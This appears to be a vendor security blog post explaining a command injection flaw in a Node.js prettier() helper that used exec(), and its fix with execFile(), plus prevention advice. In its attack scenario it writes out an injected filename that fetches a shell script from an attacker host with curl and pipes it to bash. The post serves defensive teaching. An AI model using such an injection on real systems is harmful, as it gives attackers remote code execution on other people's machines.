Back to Blog
high SEVERITY8 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `tools/utils/lang/helpers.ts` where the `prettier()` function passed a user-controllable `fileName` argument directly into a shell command string via `exec()`. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates shell interpolation entirely, preventing attackers from injecting arbitrary shell commands through malicious filenames.

O
By Orbis AppSec
Published August 12, 2026Reviewed August 12, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js, found in `tools/utils/lang/helpers.ts` at line 48. The root cause is the use of `exec()` with a template literal string — `exec(\`prettier --write ${fileName}\`)` — which passes unsanitized input through a shell, enabling shell metacharacter injection. The fix replaces `exec()` with `execFile('prettier', ['--write', fileName], ...)`, which spawns the process directly without invoking a shell, so metacharacters in `fileName` are treated as literal argument values rather than shell syntax.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplaced exec() with execFile(), passing arguments as an array to bypass shell interpretation
riskArbitrary shell command execution if fileName is attacker-controlled
languageTypeScript / Node.js
root causeexec() interpolates fileName into a shell command string without sanitization
vulnerabilityCommand Injection via child_process.exec()

How Command Injection Happens in Node.js child_process Calls and How to Fix It


The Vulnerability at a Glance

Field Detail
Vulnerability Command Injection via child_process.exec()
CWE CWE-78 — OS Command Injection
Language TypeScript / Node.js
Severity High
Root Cause exec() interpolates fileName into a shell command string
Fix Replace exec() with execFile(), pass args as an array

Introduction

The tools/utils/lang/helpers.ts file handles language tooling utilities, including a prettier() helper function that formats source files on disk. At line 48, this function accepted a fileName string argument and passed it directly into a shell command via Node.js's exec():

exec(`prettier --write ${fileName}`, error => { ... });

That single line of template literal interpolation is a textbook command injection sink. If fileName ever originates from an untrusted source — a file path passed in from an API consumer, a build script fed by environment variables, or a CI pipeline processing external input — an attacker can embed shell metacharacters in the filename to execute arbitrary commands on the host system.

This post walks through exactly how this vulnerability works, what an attacker could do with it, and how the fix structurally eliminates the risk.


The Vulnerability Explained

Why exec() Is Dangerous with Dynamic Input

Node.js's child_process.exec() works by spawning a shell (/bin/sh on Unix, cmd.exe on Windows) and passing the entire command string to it for interpretation. That means the shell processes every character in the string — including metacharacters like ;, &&, |, $(), and backticks — before running the command.

The vulnerable code was:

// BEFORE — vulnerable
import { exec } from 'child_process';

async function prettier(fileName: string): Promise<void> {
    return new Promise((resolve, reject) => {
        exec(`prettier --write ${fileName}`, error => {
            if (error != null) {
                reject(error);
                return;
            }
            resolve();
        });
    });
}

The fileName parameter is interpolated directly into the shell command string with no sanitization, no allowlist validation, and no escaping. The shell sees the entire string as a command to parse, not as a command with a safe, quoted argument.

A Concrete Attack Scenario

Imagine a downstream consumer of this Node.js library calls prettier() with a filename derived from user input — for example, a web tool that lets users specify which file to format. An attacker supplies:

myfile.ts; curl https://attacker.com/shell.sh | bash

The resulting shell command becomes:

prettier --write myfile.ts; curl https://attacker.com/shell.sh | bash

The shell interprets the semicolon as a command separator and executes both commands sequentially. The attacker has achieved remote code execution on the server running the Node.js process.

Even without a web-facing interface, consider automated pipelines where filenames come from repository metadata, CI environment variables, or artifact manifests — all of which could be tampered with in a supply chain or CI poisoning attack.

Why This Was Flagged as "Defensive Hardening"

The PR assessment notes this as defensive hardening rather than an actively exploited vulnerability. The prettier() function is an internal utility, and fileName likely comes from controlled internal sources today. However, as the PR description notes:

"This patch removes an exploit primitive — a code pattern that, while not independently exploitable today, could be chained with other weaknesses by automated exploit-development tooling."

Modern automated attack tools (including LLM-assisted exploit chains) actively search for these primitive patterns. Removing them proactively raises the cost of exploitation significantly.


The Fix

What Changed

The fix is surgical and precise — two lines changed, zero behavior change for valid inputs:

- import { exec } from 'child_process';
+ import { execFile } from 'child_process';

  async function prettier(fileName: string): Promise<void> {
      return new Promise((resolve, reject) => {
-         exec(`prettier --write ${fileName}`, error => {
+         execFile('prettier', ['--write', fileName], error => {
              if (error != null) {
                  reject(error);
                  return;
              }
              resolve();
          });
      });
  }

Why execFile() Eliminates the Risk

execFile() does not spawn a shell. Instead, it executes the specified file directly as a process, passing the argument array to the OS's execve() syscall (or equivalent). This means:

  1. No shell interpretation — The OS receives prettier as the executable and ['--write', fileName] as raw argument values. Shell metacharacters in fileName are passed literally to the prettier process, not interpreted by /bin/sh.

  2. Structural safety — The fix is not dependent on input validation logic that could be bypassed. Even if fileName contains ;, &&, $(...), or any other shell metacharacter, execFile() passes it as a literal string argument. There is no shell to interpret it.

  3. Separation of command and data — The executable ('prettier') and its arguments (['--write', fileName]) are structurally separated. This is the same principle that makes parameterized SQL queries safe against SQL injection.

Before vs. After: The Security Model

Aspect exec() (before) execFile() (after)
Shell invoked? ✅ Yes (/bin/sh -c ...) ❌ No
Metachar safe? ❌ No — shell interprets them ✅ Yes — passed as literals
Template literal needed? Yes No — args are an array
Behavior for valid input Identical Identical

Prevention & Best Practices

1. Default to execFile() or spawn() Over exec()

Treat exec() as a last resort. For the vast majority of use cases where you're running a known executable with arguments, execFile() or spawn() with an argument array is the correct choice.

// ❌ Dangerous pattern
exec(`mytool --flag ${userInput}`);

// ✅ Safe pattern
execFile('mytool', ['--flag', userInput]);

2. If You Must Use exec(), Use Shell Escaping

When exec() is genuinely necessary (e.g., you need shell features like pipes or redirects), use a library like shell-quote to escape arguments:

import { quote } from 'shell-quote';
exec(`mytool --flag ${quote([userInput])}`);

However, this is still more fragile than execFile() — prefer the structural fix.

3. Apply Input Allowlisting for File Paths

Even with execFile(), consider validating fileName against an allowlist of expected patterns (e.g., only .ts and .js extensions within the project directory):

const SAFE_EXTENSION = /\.(ts|js|tsx|jsx)$/;
if (!SAFE_EXTENSION.test(fileName)) {
    throw new Error(`Unexpected file extension in: ${fileName}`);
}

This is defense-in-depth — it doesn't replace the execFile() fix, but it catches unexpected inputs early.

4. Lint for This Pattern in CI

Add Semgrep to your CI pipeline with the javascript.lang.security.detect-child-process ruleset. This specific rule (javascript.lang.security.detect-child-process.detect-child-process) flags exactly this pattern — exec() calls where a function argument flows into the command string.

# Example GitHub Actions step
- name: Semgrep scan
  uses: semgrep/semgrep-action@v1
  with:
    config: p/javascript

5. Principle of Least Privilege

Ensure the Node.js process running this code has only the filesystem permissions it needs. Even if command injection were achieved, a process running as a low-privilege user with restricted filesystem access limits the blast radius.


Key Takeaways

  • exec() with template literals is a shell injection sink — The pattern exec(`command ${variable}`) in helpers.ts is structurally equivalent to unsanitized SQL string concatenation. The shell is the interpreter, and it will execute anything in the string.

  • execFile() provides structural safety, not just sanitization — The fix works because it changes how the OS receives the command, not because it cleans the input. Even a completely unsanitized fileName cannot cause shell injection when passed as an array argument to execFile().

  • Internal utilities are still attack surfaces — The prettier() function in helpers.ts is an internal helper, but it's part of a published Node.js library. Any downstream consumer who passes externally-sourced filenames to it inherits the vulnerability.

  • Exploit primitives matter even without a direct exploit path — The pattern exec(\prettier --write ${fileName}`)` is a primitive that automated tools can chain with other weaknesses. Removing it proactively is sound security engineering.

  • The fix is a one-line import swap plus an argument refactor — Migrating from exec() to execFile() in this case required minimal code change and zero behavior change for valid inputs, making it a high-value, low-risk security improvement.


How Orbis AppSec Detected This

  • Source: The fileName parameter of the prettier(fileName: string) function in tools/utils/lang/helpers.ts — a string argument that flows in from callers and may originate from external or user-controlled input in downstream consumers.
  • Sink: exec(`prettier --write ${fileName}`, ...) at tools/utils/lang/helpers.ts:48 — a shell-invoking call where the tainted fileName variable is interpolated directly into the command string.
  • Missing control: No input sanitization, no shell escaping, no allowlist validation on fileName before it reaches the exec() call.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced exec() with execFile() and restructured the call to pass fileName as an element of an argument array, eliminating shell interpretation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in tools/utils/lang/helpers.ts is a clear illustration of how a single architectural choice — exec() vs. execFile() — determines whether a function is safe or exploitable. The prettier() helper looked innocuous: it just runs a formatter on a file. But by using exec() with a template literal, it handed the shell a string to interpret, and any shell-metacharacter-bearing filename became a command injection vector.

The fix is elegant in its simplicity: swap exec for execFile, move the arguments into an array, and the shell is never invoked. No allowlist logic, no regex escaping, no sanitization function to get wrong — just a structural change that makes the dangerous pattern impossible.

For developers writing Node.js tooling, the lesson is clear: reach for execFile() or spawn() by default, reserve exec() only for cases where you genuinely need shell features, and always treat function arguments as potentially tainted data.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled input is concatenated into a shell command string passed to exec(), allowing attackers to append or modify the command using shell metacharacters like semicolons, pipes, or backticks.

How do you prevent command injection in Node.js child_process calls?

Use execFile() or spawn() instead of exec(), and pass arguments as an array rather than interpolating them into a command string. These functions do not invoke a shell, so metacharacters in arguments are treated as literal values.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation alone enough to prevent command injection in Node.js?

Input validation helps but is not sufficient on its own. The safest approach is to use execFile() or spawn() with argument arrays, which structurally prevents shell interpretation regardless of what characters the input contains.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep have rules (such as javascript.lang.security.detect-child-process.detect-child-process) that flag calls to exec() where arguments include function parameters, making this class of vulnerability reliably detectable in CI pipelines.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1442

Related Articles

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How dependabot-missing-cooldown happens in GitHub Actions/Node.js and how to fix it

The repository's `.github/dependabot.yml` had no cooldown period configured, meaning Dependabot could immediately propose updates to newly published package versions with zero time for the community to flag malware or instability. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, forcing a 7-day waiting period before new releases are surfaced as update PRs.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.

critical

How Remote Code Execution Happens in Handlebars Template Compilation and How to Fix It

CVE-2026-33937 is a critical remote code execution vulnerability in Handlebars.js that allows attackers to execute arbitrary code by passing maliciously crafted Abstract Syntax Tree (AST) objects to the compile() function. The vulnerability was patched in version 4.7.9, and we've upgraded to protect against this threat vector.